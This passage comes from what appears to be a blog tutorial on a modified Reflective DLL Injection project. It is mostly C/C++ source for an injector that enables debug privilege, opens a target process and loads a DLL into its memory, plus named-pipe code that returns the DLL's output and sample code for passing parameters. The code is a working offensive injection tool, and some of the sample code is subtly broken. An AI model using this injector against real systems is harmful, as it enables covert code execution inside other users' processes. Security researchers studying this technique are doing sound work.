<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include "Output.h"

void Send(const char* data)
{
    HANDLE hPipe;
    DWORD dwWritten;


    hPipe = CreateFile(TEXT("\\\\.\\pipe\\quantumcore"),
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);
    if (hPipe != INVALID_HANDLE_VALUE)
    {
        if (WriteFile(hPipe,
            data,
            strlen(data),
            &amp;dwWritten,
            NULL)) {
            CloseHandle(hPipe);
        }
    }
}
</code></pre></div></div>
<p>The DLL function Send(const char* data); is used to send the Injecting program the output of the dll using named pipes, We’ll go over on how to do this in a moment.</p>

<p>On the Injecting Side</p>

<p>https://github.com/quantumcored/ReflectiveDLLInjection/blob/master/inject/src/Output.cpp</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"Output.h"</span><span class="cp">
</span>
<span class="n">BOOL</span> <span class="n">Run</span> <span class="o">=</span> <span class="n">FALSE</span><span class="p">;</span>
<span class="n">std</span><span class="o">::</span><span class="n">ostringstream</span> <span class="n">OUTPUT</span><span class="p">;</span>
<span class="n">HANDLE</span> <span class="n">hThread</span><span class="p">;</span>

<span class="n">DWORD</span> <span class="n">WINAPI</span> <span class="nf">PIPETHREAD</span><span class="p">(</span><span class="n">LPVOID</span> <span class="n">lpParameter</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">HANDLE</span> <span class="n">hPipe</span><span class="p">;</span>
	<span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="n">BUFFER</span><span class="p">];</span>
	<span class="n">DWORD</span> <span class="n">dwRead</span><span class="p">;</span>


	<span class="n">hPipe</span> <span class="o">=</span> <span class="n">CreateNamedPipe</span><span class="p">(</span><span class="n">TEXT</span><span class="p">(</span><span class="s">"</span><span class="se">\\\\</span><span class="s">.</span><span class="se">\\</span><span class="s">pipe</span><span class="se">\\</span><span class="s">quantumcore"</span><span class="p">),</span>
		<span class="n">PIPE_ACCESS_DUPLEX</span><span class="p">,</span>
		<span class="n">PIPE_TYPE_BYTE</span> <span class="o">|</span> <span class="n">PIPE_READMODE_BYTE</span> <span class="o">|</span> <span class="n">PIPE_WAIT</span><span class="p">,</span>   
		<span class="mi">1</span><span class="p">,</span>
		<span class="mi">1024</span> <span class="o">*</span> <span class="mi">16</span><span class="p">,</span>
		<span class="mi">1024</span> <span class="o">*</span> <span class="mi">16</span><span class="p">,</span>
		<span class="n">NMPWAIT_USE_DEFAULT_WAIT</span><span class="p">,</span>
		<span class="nb">NULL</span><span class="p">);</span>

	<span class="k">while</span> <span class="p">(</span><span class="n">Run</span><span class="p">)</span>
	<span class="p">{</span>
		
		<span class="k">while</span> <span class="p">(</span><span class="n">hPipe</span> <span class="o">!=</span> <span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">ConnectNamedPipe</span><span class="p">(</span><span class="n">hPipe</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">!=</span> <span class="n">FALSE</span><span class="p">)</span> 
			<span class="p">{</span>
				<span class="n">memset</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="sc">'\0'</span><span class="p">,</span> <span class="n">BUFFER</span><span class="p">);</span>
				<span class="k">while</span> <span class="p">(</span><span class="n">ReadFile</span><span class="p">(</span><span class="n">hPipe</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="p">,</span> <span class="o">&amp;</span><span class="n">dwRead</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">!=</span> <span class="n">FALSE</span><span class="p">)</span>
				<span class="p">{</span>
					<span class="n">buffer</span><span class="p">[</span><span class="n">dwRead</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>

					<span class="n">OUTPUT</span> <span class="o">&lt;&lt;</span> <span class="n">buffer</span><span class="p">;</span>
				<span class="p">}</span>
			<span class="p">}</span>

			<span class="n">DisconnectNamedPipe</span><span class="p">(</span><span class="n">hPipe</span><span class="p">);</span>
		<span class="p">}</span>

		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">Run</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="k">break</span><span class="p">;</span>
		<span class="p">}</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">Prepare</span><span class="p">()</span>
<span class="p">{</span>
	<span class="n">Run</span> <span class="o">=</span> <span class="n">TRUE</span><span class="p">;</span>
	<span class="n">hThread</span> <span class="o">=</span> <span class="n">CreateThread</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">PIPETHREAD</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">hThread</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"Error Creating Thread: %ld</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
	<span class="p">}</span>
<span class="p">}</span>

<span class="n">BOOL</span> <span class="nf">isPipeThreadRunning</span><span class="p">()</span>
<span class="p">{</span>
	<span class="n">DWORD</span> <span class="n">exitCode</span><span class="p">;</span>
	<span class="k">return</span> <span class="n">GetExitCodeThread</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">exitCode</span><span class="p">);</span>
<span class="p">}</span>

<span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="nf">ReadReflectiveDllOutput</span><span class="p">(</span><span class="kt">int</span> <span class="n">Timeout</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">int</span> <span class="n">x</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">Run</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="k">do</span> <span class="p">{</span>
			<span class="n">Sleep</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span>
			<span class="n">x</span><span class="o">++</span><span class="p">;</span>
		<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">x</span> <span class="o">!=</span> <span class="n">Timeout</span><span class="p">);</span>

		<span class="n">Run</span> <span class="o">=</span> <span class="n">FALSE</span><span class="p">;</span> <span class="c1">// The thread ends.</span>

	<span class="p">}</span>
	<span class="k">return</span> <span class="n">OUTPUT</span><span class="p">.</span><span class="n">str</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Before Injection of the DLL, The Prepare(); function is called which starts the Named Pipe Thread to receive the DLL Output. You can see example usage of this here :</p>

<p>https://github.com/quantumcored/ReflectiveDLLInjection/blob/master/inject/src/Inject.cpp</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define WIN32_LEAN_AND_MEAN
#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"Output.h"</span><span class="cp">
#include</span> <span class="cpf">"LoadLibraryR.h"</span><span class="cp">
#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
</span>
<span class="cp">#pragma comment(lib,"Advapi32.lib")
</span>
<span class="cp">#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; }
</span>
<span class="c1">// Simple app to inject a reflective DLL into a process vis its process ID.</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span> <span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[]</span> <span class="p">)</span>
<span class="p">{</span>
	<span class="n">HANDLE</span> <span class="n">hFile</span>          <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">hModule</span>        <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">hProcess</span>       <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">hToken</span>         <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">LPVOID</span> <span class="n">lpBuffer</span>       <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">dwLength</span>        <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">dwBytesRead</span>     <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">dwProcessId</span>     <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">TOKEN_PRIVILEGES</span> <span class="n">priv</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>

<span class="cp">#ifdef WIN_X64
</span>	<span class="kt">char</span> <span class="o">*</span> <span class="n">cpDllFile</span>  <span class="o">=</span> <span class="s">"reflective_dll.x64.dll"</span><span class="p">;</span>
<span class="cp">#else
#ifdef WIN_X86
</span>	<span class="kt">char</span> <span class="o">*</span> <span class="n">cpDllFile</span>  <span class="o">=</span> <span class="s">"reflective_dll.dll"</span><span class="p">;</span>
<span class="cp">#else WIN_ARM
</span>	<span class="kt">char</span> <span class="o">*</span> <span class="n">cpDllFile</span>  <span class="o">=</span> <span class="s">"reflective_dll.arm.dll"</span><span class="p">;</span>
<span class="cp">#endif
#endif
</span>
	<span class="k">do</span>
	<span class="p">{</span>
		<span class="c1">// Usage: inject.exe [pid] [dll_file]</span>
		<span class="n">BOOL</span> <span class="n">readOutput</span><span class="p">;</span>
		<span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">input</span><span class="p">;</span>
		<span class="kt">int</span> <span class="n">seconds</span><span class="p">;</span>
		<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Would you like to read the DLL Output? (y/N) : "</span><span class="p">;</span>
		<span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">input</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">input</span><span class="p">.</span><span class="n">rfind</span><span class="p">(</span><span class="s">"y"</span><span class="p">,</span><span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">input</span><span class="p">.</span><span class="n">rfind</span><span class="p">(</span><span class="s">"Y"</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Enter number of seconds to wait before Reading Input : "</span><span class="p">;</span>
			<span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">seconds</span><span class="p">;</span>
			<span class="n">readOutput</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
			<span class="n">Prepare</span><span class="p">();</span>
		<span class="p">}</span>

		<span class="k">if</span><span class="p">(</span> <span class="n">argc</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
			<span class="n">dwProcessId</span> <span class="o">=</span> <span class="n">GetCurrentProcessId</span><span class="p">();</span>
		<span class="k">else</span>
			<span class="n">dwProcessId</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="p">);</span>

		<span class="k">if</span><span class="p">(</span> <span class="n">argc</span> <span class="o">&gt;=</span> <span class="mi">3</span> <span class="p">)</span>
			<span class="n">cpDllFile</span> <span class="o">=</span> <span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>

		<span class="n">hFile</span> <span class="o">=</span> <span class="n">CreateFileA</span><span class="p">(</span> <span class="n">cpDllFile</span><span class="p">,</span> <span class="n">GENERIC_READ</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">OPEN_EXISTING</span><span class="p">,</span> <span class="n">FILE_ATTRIBUTE_NORMAL</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">);</span>
		<span class="k">if</span><span class="p">(</span> <span class="n">hFile</span> <span class="o">==</span> <span class="n">INVALID_HANDLE_VALUE</span> <span class="p">)</span>
			<span class="n">BREAK_WITH_ERROR</span><span class="p">(</span> <span class="s">"Failed to open the DLL file"</span> <span class="p">);</span>

		<span class="n">dwLength</span> <span class="o">=</span> <span class="n">GetFileSize</span><span class="p">(</span> <span class="n">hFile</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">);</span>
		<span class="k">if</span><span class="p">(</span> <span class="n">dwLength</span> <span class="o">==</span> <span class="n">INVALID_FILE_SIZE</span> <span class="o">||</span> <span class="n">dwLength</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">)</span>
			<span class="n">BREAK_WITH_ERROR</span><span class="p">(</span> <span class="s">"Failed to get the DLL file size"</span> <span class="p">);</span>

		<span class="n">lpBuffer</span> <span class="o">=</span> <span class="n">HeapAlloc</span><span class="p">(</span> <span class="n">GetProcessHeap</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">dwLength</span> <span class="p">);</span>
		<span class="k">if</span><span class="p">(</span> <span class="o">!</span><span class="n">lpBuffer</span> <span class="p">)</span>
			<span class="n">BREAK_WITH_ERROR</span><span class="p">(</span> <span class="s">"Failed to get the DLL file size"</span> <span class="p">);</span>

		<span class="k">if</span><span class="p">(</span> <span class="n">ReadFile</span><span class="p">(</span> <span class="n">hFile</span><span class="p">,</span> <span class="n">lpBuffer</span><span class="p">,</span> <span class="n">dwLength</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwBytesRead</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">)</span> <span class="o">==</span> <span class="n">FALSE</span> <span class="p">)</span>
			<span class="n">BREAK_WITH_ERROR</span><span class="p">(</span> <span class="s">"Failed to alloc a buffer!"</span> <span class="p">);</span>

		<span class="k">if</span><span class="p">(</span> <span class="n">OpenProcessToken</span><span class="p">(</span> <span class="n">GetCurrentProcess</span><span class="p">(),</span> <span class="n">TOKEN_ADJUST_PRIVILEGES</span> <span class="o">|</span> <span class="n">TOKEN_QUERY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hToken</span> <span class="p">)</span> <span class="p">)</span>
		<span class="p">{</span>
			<span class="n">priv</span><span class="p">.</span><span class="n">PrivilegeCount</span>           <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
			<span class="n">priv</span><span class="p">.</span><span class="n">Privileges</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Attributes</span> <span class="o">=</span> <span class="n">SE_PRIVILEGE_ENABLED</span><span class="p">;</span>
		
			<span class="k">if</span><span class="p">(</span> <span class="n">LookupPrivilegeValue</span><span class="p">(</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">SE_DEBUG_NAME</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">priv</span><span class="p">.</span><span class="n">Privileges</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Luid</span> <span class="p">)</span> <span class="p">)</span>
				<span class="n">AdjustTokenPrivileges</span><span class="p">(</span> <span class="n">hToken</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">priv</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">);</span>

			<span class="n">CloseHandle</span><span class="p">(</span> <span class="n">hToken</span> <span class="p">);</span>
		<span class="p">}</span>

		<span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span> <span class="n">PROCESS_CREATE_THREAD</span> <span class="o">|</span> <span class="n">PROCESS_QUERY_INFORMATION</span> <span class="o">|</span> <span class="n">PROCESS_VM_OPERATION</span> <span class="o">|</span> <span class="n">PROCESS_VM_WRITE</span> <span class="o">|</span> <span class="n">PROCESS_VM_READ</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">dwProcessId</span> <span class="p">);</span>
		<span class="k">if</span><span class="p">(</span> <span class="o">!</span><span class="n">hProcess</span> <span class="p">)</span>
			<span class="n">BREAK_WITH_ERROR</span><span class="p">(</span> <span class="s">"Failed to open the target process"</span> <span class="p">);</span>

		<span class="n">hModule</span> <span class="o">=</span> <span class="n">LoadRemoteLibraryR</span><span class="p">(</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">lpBuffer</span><span class="p">,</span> <span class="n">dwLength</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">);</span>
		<span class="k">if</span><span class="p">(</span> <span class="o">!</span><span class="n">hModule</span> <span class="p">)</span>
			<span class="n">BREAK_WITH_ERROR</span><span class="p">(</span> <span class="s">"Failed to inject the DLL"</span> <span class="p">);</span>

		<span class="n">printf</span><span class="p">(</span> <span class="s">"[+] Injected the '%s' DLL into process %d."</span><span class="p">,</span> <span class="n">cpDllFile</span><span class="p">,</span> <span class="n">dwProcessId</span> <span class="p">);</span>
		
		<span class="n">WaitForSingleObject</span><span class="p">(</span> <span class="n">hModule</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">);</span>

		<span class="k">if</span> <span class="p">(</span><span class="n">readOutput</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">[+] DLL Output : %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ReadReflectiveDllOutput</span><span class="p">(</span><span class="n">seconds</span><span class="p">).</span><span class="n">c_str</span><span class="p">());</span>
		<span class="p">}</span>
		

	<span class="p">}</span> <span class="k">while</span><span class="p">(</span> <span class="mi">0</span> <span class="p">);</span>


	<span class="k">if</span><span class="p">(</span> <span class="n">lpBuffer</span> <span class="p">)</span>
		<span class="n">HeapFree</span><span class="p">(</span> <span class="n">GetProcessHeap</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">lpBuffer</span> <span class="p">);</span>

	<span class="k">if</span><span class="p">(</span> <span class="n">hProcess</span> <span class="p">)</span>
		<span class="n">CloseHandle</span><span class="p">(</span> <span class="n">hProcess</span> <span class="p">);</span>


	
	
	

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>So basically, To receive Output from the Reflective DLL, We are creating a Named Pipe Server before injecting,</p>

<p>Then the Reflective DLL is injected and Writes the output to the Named Pipe Server.</p>

<h3 id="passing-parameters-to-the-dll">Passing Parameters to the DLL</h3>
<p>This one didn’t require any modifications, The original Reflective DLL Injection allows you to pass parameters using LoadRemoteLibraryR function.</p>

<p>Example Code :</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Sample code of Injector that passes parameter to the dll</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span> <span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[]</span> <span class="p">)</span>
<span class="p">{</span>
	<span class="n">HANDLE</span> <span class="n">hFile</span>          <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">hModule</span>        <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">hProcess</span>       <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">hToken</span>         <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">LPVOID</span> <span class="n">lpBuffer</span>       <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">dwLength</span>        <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">dwBytesRead</span>     <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">dwProcessId</span>     <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">TOKEN_PRIVILEGES</span> <span class="n">priv</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
        <span class="n">LPVOID</span> <span class="n">lpRemoteCommandLine</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
        <span class="kt">char</span><span class="o">*</span> <span class="n">cpCommandLine</span> <span class="o">=</span> <span class="s">"Hello, World!"</span><span class="p">;</span>
<span class="cp">#ifdef _WIN64
</span>	<span class="kt">char</span> <span class="o">*</span> <span class="n">cpDllFile</span>  <span class="o">=</span> <span class="s">"reflective_dll.x64.dll"</span><span class="p">;</span>
<span class="cp">#else
#ifdef WIN_X86
</span>	<span class="kt">char</span> <span class="o">*</span> <span class="n">cpDllFile</span>  <span class="o">=</span> <span class="s">"reflective_dll.dll"</span><span class="p">;</span>
<span class="cp">#else WIN_ARM
</span>	<span class="kt">char</span> <span class="o">*</span> <span class="n">cpDllFile</span>  <span class="o">=</span> <span class="s">"reflective_dll.arm.dll"</span><span class="p">;</span>
<span class="cp">#endif
#endif
</span>	<span class="k">do</span> <span class="p">{</span>
              <span class="c1">// Open or LOAD DLL ...</span>
              <span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">DLL</span> <span class="o">=</span> <span class="p">..;</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">OpenProcessToken</span><span class="p">(</span><span class="n">GetCurrentProcess</span><span class="p">(),</span> <span class="n">TOKEN_ADJUST_PRIVILEGES</span> <span class="o">|</span> <span class="n">TOKEN_QUERY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">amp</span><span class="p">;</span><span class="n">hToken</span><span class="p">))</span>
                <span class="p">{</span>
                    <span class="n">priv</span><span class="p">.</span><span class="n">PrivilegeCount</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
                    <span class="n">priv</span><span class="p">.</span><span class="n">Privileges</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Attributes</span> <span class="o">=</span> <span class="n">SE_PRIVILEGE_ENABLED</span><span class="p">;</span>
                    <span class="k">if</span> <span class="p">(</span><span class="n">LookupPrivilegeValue</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">SE_DEBUG_NAME</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">amp</span><span class="p">;</span><span class="n">priv</span><span class="p">.</span><span class="n">Privileges</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Luid</span><span class="p">))</span>
                        <span class="n">AdjustTokenPrivileges</span><span class="p">(</span><span class="n">hToken</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">amp</span><span class="p">;</span><span class="n">priv</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
                    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hToken</span><span class="p">);</span>
                <span class="p">}</span>
                <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_CREATE_THREAD</span> <span class="o">|</span> <span class="n">PROCESS_QUERY_INFORMATION</span> <span class="o">|</span> <span class="n">PROCESS_VM_OPERATION</span> <span class="o">|</span> <span class="n">PROCESS_VM_WRITE</span> <span class="o">|</span> <span class="n">PROCESS_VM_READ</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">dwProcessId</span><span class="p">);</span>
                <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hProcess</span><span class="p">)</span>
                    <span class="n">BREAK_WITH_ERROR</span><span class="p">(</span><span class="s">"Failed to open the target process"</span><span class="p">);</span>
                    <span class="n">lpRemoteCommandLine</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">cpCommandLine</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
                    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">lpRemoteCommandLine</span><span class="p">)</span>
                        <span class="n">BREAK_WITH_ERROR</span><span class="p">(</span><span class="s">"[INJECT] inject_dll. VirtualAllocEx 1 failed"</span><span class="p">);</span>
                    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">lpRemoteCommandLine</span><span class="p">,</span> <span class="n">cpCommandLine</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">cpCommandLine</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">))</span>
                        <span class="n">BREAK_WITH_ERROR</span><span class="p">(</span><span class="s">"[INJECT] inject_dll. WriteProcessMemory 1 failed"</span><span class="p">);</span>
                    <span class="n">hModule</span> <span class="o">=</span> <span class="n">LoadRemoteLibraryR</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">DLL</span><span class="p">,</span><span class="k">sizeof</span><span class="p">(</span><span class="n">DLL</span><span class="p">),</span> <span class="n">lpRemoteCommandLine</span><span class="p">);</span>
                    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hModule</span><span class="p">)</span>
                        <span class="n">BREAK_WITH_ERROR</span><span class="p">(</span><span class="s">"Failed to inject the DLL"</span><span class="p">);</span>
                <span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">hModule</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
	<span class="p">}</span> <span class="k">while</span><span class="p">(</span> <span class="mi">0</span> <span class="p">);</span>
	
	<span class="k">if</span> <span class="p">(</span><span class="n">hFile</span>
		<span class="n">CloseHandle</span><span class="p">(</span><span class="n">hFile</span><span class="p">);</span>
	
	<span class="k">if</span><span class="p">(</span> <span class="n">lpBuffer</span> <span class="p">)</span>
		<span class="n">HeapFree</span><span class="p">(</span> <span class="n">GetProcessHeap</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">lpBuffer</span> <span class="p">);</span>
	<span class="k">if</span><span class="p">(</span> <span class="n">hProcess</span> <span class="p">)</span>
		<span class="n">CloseHandle</span><span class="p">(</span> <span class="n">hProcess</span> <span class="p">);</span>
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The Example code above expects the dll to be in unsigned char* DLL and it passes cpCommandLine into it.</p>

<h3 id="reading-parameters-in-the-dll">Reading Parameters in the DLL</h3>
<p>In your reflective dll, The parameters are in lpReserverd, From which a string an easily be extracted by.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span><span class="o">*</span> <span class="n">cpCommandLine</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">lpReserved</span><span class="p">;</span>
</code></pre></div></div>

<p>Sample Code :</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"ReflectiveLoader.h"</span><span class="cp">
#include</span> <span class="cpf">"Output.h"</span><span class="cp">
</span><span class="k">extern</span> <span class="n">HINSTANCE</span> <span class="n">hAppInstance</span><span class="p">;</span>
<span class="n">BOOL</span> <span class="n">WINAPI</span> <span class="nf">DllMain</span><span class="p">(</span> <span class="n">HINSTANCE</span> <span class="n">hinstDLL</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">dwReason</span><span class="p">,</span> <span class="n">LPVOID</span> <span class="n">lpReserved</span> <span class="p">)</span>
<span class="p">{</span>
    <span class="n">BOOL</span> <span class="n">bReturnValue</span> <span class="o">=</span> <span class="n">TRUE</span><span class="p">;</span>
	<span class="k">switch</span><span class="p">(</span> <span class="n">dwReason</span> <span class="p">)</span> 
    <span class="p">{</span> 
		<span class="k">case</span> <span class="n">DLL_QUERY_HMODULE</span><span class="p">:</span>
			<span class="k">if</span><span class="p">(</span> <span class="n">lpReserved</span> <span class="o">!=</span> <span class="nb">NULL</span> <span class="p">)</span>
				<span class="o">*</span><span class="p">(</span><span class="n">HMODULE</span> <span class="o">*</span><span class="p">)</span><span class="n">lpReserved</span> <span class="o">=</span> <span class="n">hAppInstance</span><span class="p">;</span>
			<span class="k">break</span><span class="p">;</span>
		<span class="k">case</span> <span class="n">DLL_PROCESS_ATTACH</span><span class="p">:</span>
			<span class="n">hAppInstance</span> <span class="o">=</span> <span class="n">hinstDLL</span><span class="p">;</span>
